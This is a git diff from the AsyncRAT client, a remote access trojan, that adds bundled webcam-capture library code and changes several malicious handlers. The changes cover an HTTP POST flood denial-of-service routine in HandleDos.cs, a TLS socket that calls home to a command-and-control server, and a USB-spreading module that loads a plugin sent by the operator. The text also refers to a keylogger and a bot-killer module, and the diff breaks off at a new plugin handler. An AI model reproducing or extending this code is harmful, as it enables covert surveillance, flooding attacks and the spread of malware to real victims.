+ + if ( needToDisplayCrossBarPropertyPage ) + { + needToDisplayCrossBarPropertyPage = false; + + if ( crossbar != null ) + { + DisplayPropertyPage( parentWindowForPropertyPage, crossbar ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + } + while ( !stopEvent.WaitOne( 100, false ) ); + + mediaControl.Stop( ); + } + } + catch ( Exception exception ) + { + // provide information to clients + if ( VideoSourceError != null ) + { + VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); + } + } + finally + { + // release all objects + captureGraph = null; + graph = null; + sourceBase = null; + mediaControl = null; + videoControl = null; + mediaEvent = null; + pinStillImage = null; + crossbar = null; + + videoGrabberBase = null; + snapshotGrabberBase = null; + videoSampleGrabber = null; + snapshotSampleGrabber = null; + + if ( graphObject != null ) + { + Marshal.ReleaseComObject( graphObject ); + graphObject = null; + } + if ( sourceObject != null ) + { + Marshal.ReleaseComObject( sourceObject ); + sourceObject = null; + } + if ( videoGrabberObject != null ) + { + Marshal.ReleaseComObject( videoGrabberObject ); + videoGrabberObject = null; + } + if ( snapshotGrabberObject != null ) + { + Marshal.ReleaseComObject( snapshotGrabberObject ); + snapshotGrabberObject = null; + } + if ( captureGraphObject != null ) + { + Marshal.ReleaseComObject( captureGraphObject ); + captureGraphObject = null; + } + if ( crossbarObject != null ) + { + Marshal.ReleaseComObject( crossbarObject ); + crossbarObject = null; + } + } + + if ( PlayingFinished != null ) + { + PlayingFinished( this, reasonToStop ); + } + } + + // Set resolution for the specified stream configuration + private void SetResolution( IAMStreamConfig streamConfig, VideoCapabilities resolution ) + { + if ( resolution == null ) + { + return; + } + + // iterate through device's capabilities to find mediaType for desired resolution + int capabilitiesCount = 0, capabilitySize = 0; + AMMediaType newMediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + streamConfig.GetNumberOfCapabilities( out capabilitiesCount, out capabilitySize ); + + for ( int i = 0; i < capabilitiesCount; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( streamConfig, i ); + + if ( resolution == vc ) + { + if ( streamConfig.GetStreamCaps( i, out newMediaType, caps ) == 0 ) + { + break; + } + } + } + catch + { + } + } + + // set the new format + if ( newMediaType != null ) + { + streamConfig.SetFormat( newMediaType ); + newMediaType.Dispose( ); + } + } + + // Configure specified pin and collect its capabilities if required + private void GetPinCapabilitiesAndConfigureSizeAndRate( ICaptureGraphBuilder2 graphBuilder, IBaseFilter baseFilter, + Guid pinCategory, VideoCapabilities resolutionToSet, ref VideoCapabilities[] capabilities ) + { + object streamConfigObject; + graphBuilder.FindInterface( pinCategory, MediaType.Video, baseFilter, typeof( IAMStreamConfig ).GUID, out streamConfigObject ); + + if ( streamConfigObject != null ) + { + IAMStreamConfig streamConfig = null; + + try + { + streamConfig = (IAMStreamConfig) streamConfigObject; + } + catch ( InvalidCastException ) + { + } + + if ( streamConfig != null ) + { + if ( capabilities == null ) + { + try + { + // get all video capabilities + capabilities = AForge.Video.DirectShow.VideoCapabilities.FromStreamConfig( streamConfig ); + } + catch + { + } + } + + // check if it is required to change capture settings + if ( resolutionToSet != null ) + { + SetResolution( streamConfig, resolutionToSet ); + } + } + } + + // if failed resolving capabilities, then just create empty capabilities array, + // so we don't try again + if ( capabilities == null ) + { + capabilities = new VideoCapabilities[0]; + } + } + + // Display property page for the specified object + private void DisplayPropertyPage( IntPtr parentWindow, object sourceObject ) + { + try + { + // retrieve ISpecifyPropertyPages interface of the device + ISpecifyPropertyPages pPropPages = (ISpecifyPropertyPages) sourceObject; + + // get property pages from the property bag + CAUUID caGUID; + pPropPages.GetPages( out caGUID ); + + // get filter info + FilterInfo filterInfo = new FilterInfo( deviceMoniker ); + + // create and display the OlePropertyFrame + Win32.OleCreatePropertyFrame( parentWindow, 0, 0, filterInfo.Name, 1, ref sourceObject, caGUID.cElems, caGUID.pElems, 0, 0, IntPtr.Zero ); + + // release COM objects + Marshal.FreeCoTaskMem( caGUID.pElems ); + } + catch + { + } + } + + // Collect all video inputs of the specified crossbar + private VideoInput[] ColletCrossbarVideoInputs( IAMCrossbar crossbar ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) + { + return cacheCrossbarVideoInputs[deviceMoniker]; + } + + List videoInputsList = new List( ); + + if ( crossbar != null ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + // collect all video inputs + for ( int i = 0; i < inPinsCount; i++ ) + { + int pinIndexRelated; + PhysicalConnectorType type; + + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type < PhysicalConnectorType.AudioTuner ) + { + videoInputsList.Add( new VideoInput( i, type ) ); + } + } + } + } + + VideoInput[] videoInputs = new VideoInput[videoInputsList.Count]; + videoInputsList.CopyTo( videoInputs ); + + cacheCrossbarVideoInputs.Add( deviceMoniker, videoInputs ); + + return videoInputs; + } + } + + // Get type of input connected to video output of the crossbar + private VideoInput GetCurrentCrossbarInput( IAMCrossbar crossbar ) + { + VideoInput videoInput = VideoInput.Default; + + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + if ( videoOutputPinIndex != -1 ) + { + int videoInputPinIndex; + + // get index of the input pin connected to the output + if ( crossbar.get_IsRoutedTo( videoOutputPinIndex, out videoInputPinIndex ) == 0 ) + { + PhysicalConnectorType inputType; + + crossbar.get_CrossbarPinInfo( true, videoInputPinIndex, out pinIndexRelated, out inputType ); + + videoInput = new VideoInput( videoInputPinIndex, inputType ); + } + } + } + + return videoInput; + } + + // Set type of input connected to video output of the crossbar + private void SetCurrentCrossbarInput( IAMCrossbar crossbar, VideoInput videoInput ) + { + if ( videoInput.Type != PhysicalConnectorType.Default ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int videoInputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + // find index of the required input pin + for ( int i = 0; i < inPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( ( type == videoInput.Type ) && ( i == videoInput.Index ) ) + { + videoInputPinIndex = i; + break; + } + } + + // try connecting pins + if ( ( videoInputPinIndex != -1 ) && ( videoOutputPinIndex != -1 ) && + ( crossbar.CanRoute( videoOutputPinIndex, videoInputPinIndex ) == 0 ) ) + { + crossbar.Route( videoOutputPinIndex, videoInputPinIndex ); + } + } + } + } + + /// + /// Notifies clients about new frame. + /// + /// + /// New frame's image. + /// + private void OnNewFrame( Bitmap image ) + { + framesReceived++; + bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 ); + + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) ) + NewFrame( this, new NewFrameEventArgs( image ) ); + } + + /// + /// Notifies clients about new snapshot frame. + /// + /// + /// New snapshot's image. + /// + private void OnSnapshotFrame( Bitmap image ) + { + TimeSpan timeSinceStarted = DateTime.Now - startTime; + + // TODO: need to find better way to ignore the first snapshot, which is sent + // automatically (or better disable it) + if ( timeSinceStarted.TotalSeconds >= 4 ) + { + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( SnapshotFrame != null ) ) + SnapshotFrame( this, new NewFrameEventArgs( image ) ); + } + } + + // + // Video grabber + // + private class Grabber : ISampleGrabberCB + { + private VideoCaptureDevice parent; + private bool snapshotMode; + private int width, height; + + // Width property + public int Width + { + get { return width; } + set { width = value; } + } + // Height property + public int Height + { + get { return height; } + set { height = value; } + } + + // Constructor + public Grabber( VideoCaptureDevice parent, bool snapshotMode ) + { + this.parent = parent; + this.snapshotMode = snapshotMode; + } + + // Callback to receive samples + public int SampleCB( double sampleTime, IntPtr sample ) + { + return 0; + } + + // Callback method that receives a pointer to the sample buffer + public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ) + { + if ( parent.NewFrame != null ) + { + // create new image + System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb ); + + // lock bitmap data + BitmapData imageData = image.LockBits( + new Rectangle( 0, 0, width, height ), + ImageLockMode.ReadWrite, + PixelFormat.Format24bppRgb ); + + // copy image data + int srcStride = imageData.Stride; + int dstStride = imageData.Stride; + + unsafe + { + byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 ); + byte* src = (byte*) buffer.ToPointer( ); + + for ( int y = 0; y < height; y++ ) + { + Win32.memcpy( dst, src, srcStride ); + dst -= dstStride; + src += srcStride; + } + } + + // unlock bitmap data + image.UnlockBits( imageData ); + + // notify parent + if ( snapshotMode ) + { + parent.OnSnapshotFrame( image ); + } + else + { + parent.OnNewFrame( image ); + } + + // release the image + image.Dispose( ); + } + + return 0; + } + } + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs new file mode 100644 index 0000000..d88b64d --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// Video input of a capture board. + /// + /// + /// The class is used to describe video input of devices like video capture boards, + /// which usually provide several inputs. + /// + /// + public class VideoInput + { + /// + /// Index of the video input. + /// + public readonly int Index; + + /// + /// Type of the video input. + /// + public readonly PhysicalConnectorType Type; + + internal VideoInput( int index, PhysicalConnectorType type ) + { + Index = index; + Type = type; + } + + /// + /// Default video input. Used to specify that it should not be changed. + /// + public static VideoInput Default + { + get { return new VideoInput( -1, PhysicalConnectorType.Default ); } + } + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs b/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs new file mode 100644 index 0000000..d6ae3e5 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs @@ -0,0 +1,126 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © Andrew Kirillov, 2005-2009 +// andrew.kirillov@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Video source interface. + /// + /// + /// The interface describes common methods for different type of video sources. + /// + public interface IVideoSource + { + /// + /// New frame event. + /// + /// + /// This event is used to notify clients about new available video frame. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, but video source is responsible for + /// disposing its own original copy after notifying of clients. + /// + /// + event NewFrameEventHandler NewFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// The meaning of the property depends on particular video source. + /// Depending on video source it may be a file name, URL or any other string + /// describing the video source. + /// + string Source { get; } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + int FramesReceived { get; } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + long BytesReceived { get; } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + bool IsRunning { get; } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + void Start( ); + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + void SignalToStop( ); + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for video source stopping after it was signalled to stop using + /// method. + /// + void WaitForStop( ); + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + void Stop( ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs b/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs new file mode 100644 index 0000000..c5729e5 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs @@ -0,0 +1,125 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Delegate for new frame event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs ); + + /// + /// Delegate for video source error event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs ); + + /// + /// Delegate for playing finished event handler. + /// + /// + /// Sender object. + /// Reason of finishing video playing. + /// + public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason ); + + /// + /// Reason of finishing video playing. + /// + /// + /// When video source class fire the event, they + /// need to specify reason of finishing video playing. For example, it may be end of stream reached. + /// + public enum ReasonToFinishPlaying + { + /// + /// Video playing has finished because it end was reached. + /// + EndOfStreamReached, + /// + /// Video playing has finished because it was stopped by user. + /// + StoppedByUser, + /// + /// Video playing has finished because the device was lost (unplugged). + /// + DeviceLost, + /// + /// Video playing has finished because of some error happened the video source (camera, stream, file, etc.). + /// A error reporting event usually is fired to provide error information. + /// + VideoSourceError + } + + /// + /// Arguments for new frame event from video source. + /// + /// + public class NewFrameEventArgs : EventArgs + { + private System.Drawing.Bitmap frame; + + /// + /// Initializes a new instance of the class. + /// + /// + /// New frame. + /// + public NewFrameEventArgs( System.Drawing.Bitmap frame ) + { + this.frame = frame; + } + + /// + /// New frame from video source. + /// + /// + public System.Drawing.Bitmap Frame + { + get { return frame; } + } + } + + /// + /// Arguments for video source error event from video source. + /// + /// + public class VideoSourceErrorEventArgs : EventArgs + { + private string description; + + /// + /// Initializes a new instance of the class. + /// + /// + /// Error description. + /// + public VideoSourceErrorEventArgs( string description ) + { + this.description = description; + } + + /// + /// Video source error description. + /// + /// + public string Description + { + get { return description; } + } + } +} diff --git a/AsyncRAT-C#/Client/Cryptography/Aes256.cs b/AsyncRAT-C#/Client/Algorithm/Aes256.cs similarity index 99% rename from AsyncRAT-C#/Client/Cryptography/Aes256.cs rename to AsyncRAT-C#/Client/Algorithm/Aes256.cs index d6524a1..68b6f0d 100644 --- a/AsyncRAT-C#/Client/Cryptography/Aes256.cs +++ b/AsyncRAT-C#/Client/Algorithm/Aes256.cs @@ -6,7 +6,7 @@ using System.Runtime.CompilerServices; using System.Security.Cryptography; using System.Text; -namespace Client.Cryptography +namespace Client.Algorithm { public class Aes256 { diff --git a/AsyncRAT-C#/Client/Cryptography/Sha256.cs b/AsyncRAT-C#/Client/Algorithm/Sha256.cs similarity index 96% rename from AsyncRAT-C#/Client/Cryptography/Sha256.cs rename to AsyncRAT-C#/Client/Algorithm/Sha256.cs index c8a2453..fd76261 100644 --- a/AsyncRAT-C#/Client/Cryptography/Sha256.cs +++ b/AsyncRAT-C#/Client/Algorithm/Sha256.cs @@ -1,7 +1,7 @@ using System.Security.Cryptography; using System.Text; -namespace Client.Cryptography +namespace Client.Algorithm { public static class Sha256 { diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 3a6e201..5ea91bf 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -72,12 +72,46 @@ - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -88,11 +122,12 @@ + - + @@ -113,8 +148,8 @@ - - + + diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Connection/ClientSocket.cs similarity index 87% rename from AsyncRAT-C#/Client/Sockets/ClientSocket.cs rename to AsyncRAT-C#/Client/Connection/ClientSocket.cs index adce3b7..b047831 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Connection/ClientSocket.cs @@ -10,6 +10,7 @@ using System.Net.Security; using System.Security.Authentication; using System.Security.Cryptography.X509Certificates; using System.Net; +using Client.Algorithm; // │ Author : NYAN CAT // │ Name : Nyan Socket v0.1 @@ -17,11 +18,11 @@ using System.Net; // This program is distributed for educational purposes only. -namespace Client.Sockets +namespace Client.Connection { public static class ClientSocket { - public static Socket Client { get; set; } + public static Socket TcpClient { get; set; } public static SslStream SslClient { get; set; } private static byte[] Buffer { get; set; } private static long Buffersize { get; set; } @@ -35,7 +36,7 @@ namespace Client.Sockets try { - Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, @@ -54,15 +55,15 @@ namespace Client.Sockets { try { - Client.Connect(theaddress, ServerPort); //lets try and connect! - if (Client.Connected) break; + TcpClient.Connect(theaddress, ServerPort); //lets try and connect! + if (TcpClient.Connected) break; } catch { } } } else { - Client.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS) + TcpClient.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS) } } else @@ -75,16 +76,16 @@ namespace Client.Sockets string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None); Settings.Hosts = spl[0]; Settings.Ports = spl[new Random().Next(1, spl.Length)]; - Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports)); + TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports)); } } - if (Client.Connected) + if (TcpClient.Connected) { Debug.WriteLine("Connected!"); IsConnected = true; - SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); - SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); Buffer = new byte[4]; MS = new MemoryStream(); Send(Methods.SendInfo()); @@ -125,7 +126,7 @@ namespace Client.Sockets { Tick?.Dispose(); SslClient?.Dispose(); - Client?.Dispose(); + TcpClient?.Dispose(); MS?.Dispose(); } catch { } @@ -135,7 +136,7 @@ namespace Client.Sockets { try { - if (!Client.Connected || !IsConnected) + if (!TcpClient.Connected || !IsConnected) { IsConnected = false; return; @@ -199,12 +200,11 @@ namespace Client.Sockets return; } - byte[] buffer = msg; - byte[] buffersize = BitConverter.GetBytes(buffer.Length); + byte[] buffersize = BitConverter.GetBytes(msg.Length); - Client.Poll(-1, SelectMode.SelectWrite); + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffersize, 0, buffersize.Length); - SslClient.Write(buffer, 0, buffer.Length); + SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } catch diff --git a/AsyncRAT-C#/Client/Sockets/TempSocket.cs b/AsyncRAT-C#/Client/Connection/TempSocket.cs similarity index 85% rename from AsyncRAT-C#/Client/Sockets/TempSocket.cs rename to AsyncRAT-C#/Client/Connection/TempSocket.cs index 0759def..98e7223 100644 --- a/AsyncRAT-C#/Client/Sockets/TempSocket.cs +++ b/AsyncRAT-C#/Client/Connection/TempSocket.cs @@ -13,6 +13,7 @@ using System.Net.Security; using System.Security.Authentication; using System.Security.Cryptography.X509Certificates; using System.Net; +using Client.Algorithm; // │ Author : NYAN CAT // │ Name : Nyan Socket v0.1 @@ -20,11 +21,11 @@ using System.Net; // This program is distributed for educational purposes only. -namespace Client.Sockets +namespace Client.Connection { public class TempSocket { - public Socket Client { get; set; } + public Socket TcpClient { get; set; } public SslStream SslClient { get; set; } private byte[] Buffer { get; set; } private long Buffersize { get; set; } @@ -40,18 +41,18 @@ namespace Client.Sockets try { - Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, }; - Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); + TcpClient.Connect(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1])); Debug.WriteLine("Temp Connected!"); IsConnected = true; - SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); - SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); Buffer = new byte[4]; MS = new MemoryStream(); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); @@ -75,11 +76,19 @@ namespace Client.Sockets public void Dispose() { + IsConnected = false; + + try + { + TcpClient.Shutdown(SocketShutdown.Both); + } + catch { } + try { Tick?.Dispose(); SslClient?.Dispose(); - Client?.Dispose(); + TcpClient?.Dispose(); MS?.Dispose(); } catch { } @@ -152,15 +161,15 @@ namespace Client.Sockets { try { - if (!IsConnected || msg == null || !ClientSocket.IsConnected) + if (!IsConnected || !ClientSocket.IsConnected) { + Dispose(); return; } - byte[] buffer = msg; - byte[] buffersize = BitConverter.GetBytes(buffer.Length); + byte[] buffersize = BitConverter.GetBytes(msg.Length); - Client.Poll(-1, SelectMode.SelectWrite); + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffersize, 0, buffersize.Length); SslClient.Flush(); int chunkSize = 50 * 1024; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs b/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs index e25d64f..4402c10 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs @@ -4,7 +4,7 @@ using System.Diagnostics; using System.Runtime.InteropServices; using Microsoft.Win32; using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System.Security.Principal; // │ Author : NYAN CAT diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs b/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs index db588ba..992d0cd 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Diagnostics; @@ -28,42 +28,43 @@ namespace Client.Handle_Packet public void DosPost(MsgPack unpack_msgpack) { - host = new Uri(unpack_msgpack.ForcePathObject("Host").AsString).DnsSafeHost; - port = Convert.ToInt32(unpack_msgpack.ForcePathObject("port").AsString); - timeout = Convert.ToInt32(unpack_msgpack.ForcePathObject("timeout").AsString) * 60; - List SocketList = new List(); - TimeSpan timespan = TimeSpan.FromSeconds(timeout); - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - - Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}"); - while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected) + try { - new Thread(() => + host = new Uri(unpack_msgpack.ForcePathObject("Host").AsString).DnsSafeHost; + port = Convert.ToInt32(unpack_msgpack.ForcePathObject("port").AsString); + timeout = Convert.ToInt32(unpack_msgpack.ForcePathObject("timeout").AsString) * 60; + TimeSpan timespan = TimeSpan.FromSeconds(timeout); + Stopwatch stopwatch = new Stopwatch(); + stopwatch.Start(); + + + Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}"); + while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected) { - try + for (int i = 0; i < 100; i++) { - Socket tcp = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); - tcp.Connect(host.ToString(), port); - SocketList.Add(tcp); - string post = $"POST / HTTP/1.1\r\nHost: {host} \r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: {userAgents[new Random().Next(userAgents.Length)]}\r\nContent-length: 5235\r\n\r\n"; - byte[] buffer = Encoding.UTF8.GetBytes(post); - tcp.Send(buffer, 0, buffer.Length, SocketFlags.None); + new Thread(() => + { + try + { + Socket tcp = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + tcp.Connect(host.ToString(), port); + string post = $"POST / HTTP/1.1\r\nHost: {host} \r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: {userAgents[new Random().Next(userAgents.Length)]}\r\nContent-length: 5235\r\n\r\n"; + byte[] buffer = Encoding.UTF8.GetBytes(post); + tcp.Send(buffer, 0, buffer.Length, SocketFlags.None); + Thread.Sleep(4000); + tcp.Dispose(); + } + catch + { + //Console.WriteLine("Website may be down!"); + } + }).Start(); } - catch - { - //Console.WriteLine("Website may be down!"); - } - }).Start(); - Thread.Sleep(1); + Thread.Sleep(5000); + } } - - Thread.Sleep(1000); - foreach (Socket tcp in SocketList.ToList()) - { - tcp?.Dispose(); - } - + catch { return; } } } } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs index ae5ed1b..4476f9b 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Collections.Generic; using System.Drawing; @@ -175,6 +175,7 @@ namespace Client.Handle_Packet if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData"); + if (path == "USER") path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); foreach (string folder in Directory.GetDirectories(path)) { @@ -208,7 +209,7 @@ namespace Client.Handle_Packet { using (Bitmap myBitmap = new Bitmap(file)) { - return new Bitmap(myBitmap.GetThumbnailImage(64, 64, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero)); + return new Bitmap(myBitmap.GetThumbnailImage(48, 48, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero)); } } else @@ -219,7 +220,7 @@ namespace Client.Handle_Packet } catch { - return new Bitmap(64, 64); + return new Bitmap(48, 48); } } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs index 161d96d..361502e 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs @@ -6,7 +6,7 @@ using System.Text; using System.Windows.Forms; using Client.MessagePack; using System.Threading; -using Client.Sockets; +using Client.Connection; namespace Client.Handle_Packet { diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs index 7e884f6..80cf490 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs @@ -1,5 +1,5 @@ using Client.MessagePack; -using Client.Sockets; +using Client.Connection; using System; using System.Diagnostics; using System.Reflection; @@ -20,13 +20,13 @@ namespace Client.Handle_Packet try { Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); - MethodInfo meth = loader.GetType("HandleLimeUSB.HandleLimeUSB").GetMethod("Initialize"); + MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize"); object injObj = loader.CreateInstance(meth.Name); int count = (int)meth.Invoke(injObj, null); if (count > 0) { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "usbSpread"; + msgpack.ForcePathObject("Packet").AsString = "usb"; msgpack.ForcePathObject("Count").AsString = count.ToString(); ClientSocket.Send(msgpack.Encode2Bytes()); } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs new file mode 100644 index 0000000..985ed68 --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs 